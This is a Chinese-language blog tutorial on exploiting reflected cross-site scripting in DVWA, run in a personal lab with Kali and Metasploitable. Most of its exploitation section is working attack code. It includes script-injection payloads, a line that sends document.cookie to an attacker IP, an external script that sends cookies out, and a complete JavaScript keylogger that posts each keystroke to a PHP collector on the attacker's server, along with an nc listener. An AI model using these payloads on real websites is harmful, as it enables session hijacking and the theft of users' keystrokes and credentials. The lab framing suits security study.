XSS——反射型原理和利用

申明

此文章内容仅供学习讨论,不参与非法钓鱼行为,实验中的服务器均为本机服务器!

工具

服务器——metasploitable2
被攻击机——windows(任意)
肉鸡服务器——windows
攻击机——kali
环境——DVWA

反射型XSS原理

通过web站点漏洞,向客户端交付恶意脚本代码,实现对客户端 的攻击。
攻击目标: web客户端
(主要是利用客户端浏览器来运行恶意脚本)
主要脚本语言: javascript
条件:

  • 服务器对用户提交数据过滤不严格
  • web站点能够返回用户输入的 数据(脚本)
  • 脚本在客户端执行恶意操作

在这里插入图片描述

1:攻击者向用户发送一封邮件,邮件里包含了一个链接,而链接里存在而已脚本代码
2:用户点击邮件里的链接,访问了web站点
3:站点将链接里包含的脚本代码返回给用户浏览器,并在浏览器里执行恶意代码

在这里插入图片描述

1:攻击者向用户发送一封邮件,邮件里包含了一个链接,而链接里存在而已脚本代码
2:用户点击邮件里的链接,访问了web站点
3:站点将链接里包含的脚本代码返回给用户浏览器,并在浏览器里执行恶意代码
4: 恶意代码是指向另一个服务器的连接,也就是用户访问了攻击者控制的第三方网站

反射型XSS利用

1、进入 DVWA中xss reflected模块

本次介绍是在low级,其他等级只是绕过问题,就不做解释

2、测试发现存在 反射型XSS 漏洞
输入 test js , 发现返回了输入的数据
实际过程中,推荐使用 brup suite 抓包分析

在这里插入图片描述
输入框输入 aabbcc 提交,利用bruosuite抓包
在这里插入图片描述
在response中发现服务器返回的页面数据
在这里插入图片描述

3、写入JS脚本
直接嵌入HTML中: <script>alert('XSS');</script>
重定向:<script>window.location="http://1.1.1.1"</script>
元素标签事件:
<body onload=alert('XSS')>
<a href='' onclick=alert('XSS')>type</a>
图片标签:<img src="https://www.baidu.com/a.jpg" onerror=alert('xss')>
链接标签: <a href="https://www.baidu.com">click</a>
其他标签:<iframe>,<div>,<link>
<iframe src="http://1.1.1.1/victim" height="0" width="0"></iframe>
<script>new image().src="http://1.1.1.1/c.php?output=" document.cookie</script>
篡改(实际上是没有,存储型XSS才能真正意义上篡改):<script>document.body.innerHTML="<div style=margin-top:20px visibility:visible;><h1>the website is under attack</h1></div>";</script>

输入
在这里插入图片描述

输入 : <script>window.location="http://1.1.1.131"</script>   
(1.1.1.131是kali的IP)
监听kaili 的 80 端口: nc -vnlp 80  查看 “中招” 的用户信息

可以试试看用户当前网页的cookie: <script>new Image().src="http://1.1.1.131/c.php?output="+document.cookie;</script>

.131 是kali, .1 是物理机(windows)
可以看出物理机已经”中招“了!
在这里插入图片描述

4、深入学习——引入第三方“肉鸡”服务器
1.js:
var img = new Image();
img.src = "http://1.1.1.133/cookies.php?cookie="+document.cookie;

肉鸡服务器(我的物理机):127.0.0.1
用户:还是用 的物理机(1.1.1.102) 访问物理机服务器下的 127.0.0.1/1.js 
攻击者kali(1.1.1.131):在kali端监听80端口
metasploitable站点服务器(1.1.1.133)
输入:<script src=http://127.0.0.1/1.js></script>

发现物理机(用户)访问 肉鸡服务器的1.js 后成功访问了攻击机并发送了cookie信息
在这里插入图片描述

5、构造并利用"键盘监听"
在肉鸡服务器构造 keylogger.js    (我是在物理机本地搭建的127.0.0.1/keylogger.js)
document.onkeypress = function(evt){
   evt = evt || window.event;
   key = String.fromCharCode(evt.charCode);
   if(key){
      var http = new XMLHttpRequest();
	  var param = encodeURI(key);
	  http.open("POST","http://192.168.20.8/keycollect.php",true);
	  http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
	  http.send("key="+param);
	}
}

在这里插入图片描述

kali里开启apache: service apache2 start
cd /var/www/html 创建 keycollect.php 
<?php
$key=$_POST['key'];
$loadfile="keyclick.txt";
$fp = fopen($loadfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
接着在该目录下创建 keyclick.txt 来存储用户从键盘输入的数据
记得给 keyclick.txt 加读写权限:chmod 777 keyclick.txt

在这里插入图片描述
在web服务器页面输入:

<script src=http://127.0.0.1/keylogger.js></script>

然后点击 submit, 从此刻其起,停留在此web页面的键盘输入将被kali里keycollect.php 接收并写入 keyclick.txt 中。

在这里插入图片描述在这里插入图片描述
即使没有在输入框输入,只是停留在那个页面敲击键盘的数据都会被窃取保留

  • 0
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值